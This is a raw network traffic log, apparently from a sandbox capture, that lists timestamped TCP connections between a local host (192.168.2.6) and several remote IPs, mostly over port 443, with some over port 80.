Nov 17, 2024 01:38:30.599004984 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.599057913 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.599277020 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.599344015 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.599368095 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.599447966 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.599627018 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.600111008 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.611808062 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.611867905 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.611888885 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.611978054 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.612095118 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.612112999 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.612693071 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.612749100 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.612762928 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.613960981 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.613987923 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.614003897 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.614012957 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.614264965 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.614264965 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.614299059 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.614310980 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.617027044 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.617105007 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.617120028 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.617276907 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.617337942 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.617352009 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.617508888 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.617573977 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.619379044 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.619409084 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.620054007 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.621459961 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.621488094 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.621582985 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.621618986 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.621665001 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.622483015 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.622495890 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.622509003 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:30.622540951 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:30.690320969 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.690773010 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.690814018 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.691569090 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.691584110 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.820286036 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.820463896 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.821146011 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.821229935 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.821229935 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.821271896 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.821300030 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.823858023 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.823901892 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:30.823961973 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.824140072 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:30.824157000 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.080789089 CET	443	49811	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.081243038 CET	49811	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.081280947 CET	443	49811	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.081710100 CET	49811	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.081717968 CET	443	49811	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.209206104 CET	443	49811	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.209363937 CET	443	49811	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.209503889 CET	49811	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.209544897 CET	49811	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.209566116 CET	443	49811	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.209579945 CET	49811	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.209587097 CET	443	49811	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.212176085 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.212217093 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.212392092 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.212450981 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.212466002 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.259519100 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.260004997 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.260021925 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.260689020 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.260696888 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.368928909 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.369477987 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.369488955 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.370027065 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.370032072 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.394169092 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.394228935 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.394480944 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.394480944 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.394480944 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.397119045 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.397134066 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.397214890 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.397339106 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.397344112 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.433348894 CET	443	49810	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:31.433418989 CET	49810	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:31.435494900 CET	49810	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:31.435507059 CET	443	49810	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:31.435756922 CET	443	49810	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:31.437484026 CET	49810	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:31.437613964 CET	49810	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:31.437621117 CET	443	49810	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:31.437767029 CET	49810	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:31.479346991 CET	443	49810	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:31.499402046 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.499573946 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.499627113 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.500241041 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.500288010 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.500291109 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.500308990 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.503582954 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.503618956 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.503689051 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.503881931 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.503895044 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.530961037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:31.531034946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:31.556005001 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.556706905 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.556760073 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.557127953 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.557142019 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.684370041 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.684540987 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.684664011 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.684720039 CET	443	49810	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:31.684777021 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.684814930 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.685178041 CET	49810	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:31.685187101 CET	443	49810	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:31.685208082 CET	49810	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:31.685277939 CET	49810	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:31.688194036 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.688232899 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.688596010 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.688745975 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.688755035 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.702534914 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.702554941 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.739823103 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.740581989 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.740591049 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.741118908 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.741127014 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.877357960 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.877561092 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.877624035 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.885128021 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.885134935 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.885145903 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.885149956 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.888715982 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.888739109 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.889040947 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.889195919 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.889211893 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.950333118 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.950804949 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.950817108 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:31.951236963 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:31.951241970 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.080152035 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.080298901 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.080463886 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.080578089 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.080590010 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.080600977 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.080606937 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.083473921 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.083504915 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.083738089 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.083738089 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.083770037 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.129919052 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.130475998 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.130485058 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.130920887 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.130925894 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.243994951 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.244466066 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.244484901 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.244903088 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.244908094 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.260647058 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.260726929 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.260875940 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.260904074 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.260909081 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.260919094 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.260924101 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.263528109 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.263611078 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.263696909 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.263849020 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.263869047 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.374808073 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.374872923 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.374974012 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.375045061 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.375256062 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.375264883 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.375274897 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.375279903 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.378070116 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.378107071 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.378473997 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.378473997 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.378510952 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.417862892 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.418363094 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.418378115 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.418697119 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.418700933 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.545553923 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.545725107 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.546322107 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.546322107 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.546322107 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.548993111 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.549021959 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.549595118 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.549770117 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.549798012 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.613789082 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.615788937 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.615849972 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.616250038 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.616266012 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.745717049 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.745840073 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.745949030 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.745999098 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.746054888 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.746337891 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.746371031 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.746433020 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.746448994 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.749123096 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.749157906 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.749223948 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.749460936 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.749475002 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.824749947 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.825440884 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.825460911 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.825997114 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.826003075 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.859277964 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.859303951 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.956978083 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.957087040 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.957968950 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.958096027 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.958120108 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.958137035 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.958142042 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.960505009 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.960534096 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:32.960585117 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.960762024 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:32.960767031 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.029398918 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.031491995 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.031555891 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.031908035 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.031923056 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.036761999 CET	49833	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:33.036780119 CET	443	49833	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:33.037312031 CET	49833	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:33.039016008 CET	49833	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:33.039031982 CET	443	49833	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:33.149547100 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.150088072 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.150108099 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.150700092 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.150707960 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.161549091 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.161706924 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.161797047 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.161974907 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.161974907 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.162017107 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.162045956 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.164361000 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.164376020 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.164463043 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.164639950 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.164654970 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.278561115 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.278707027 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.279279947 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.279280901 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.279280901 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.281838894 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.281857014 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.281944990 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.282073975 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.282083988 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.289205074 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.289606094 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.289654970 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.290035009 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.290050983 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.420799971 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.420824051 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.420870066 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.421047926 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.421047926 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.421226025 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.421226978 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.421241045 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.421262026 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.424112082 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.424133062 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.424405098 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.424405098 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.424432039 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.502562046 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.503417015 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.503431082 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.503914118 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.503918886 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.594990015 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.595026970 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.619812965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:33.620054007 CET	49842	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:33.624700069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:33.624892950 CET	80	49842	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:33.624959946 CET	49842	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:33.625137091 CET	49842	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:33.629968882 CET	80	49842	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:33.632251978 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.632416010 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.632483006 CET	49830	443	192.168.2.6	13.107.246.45
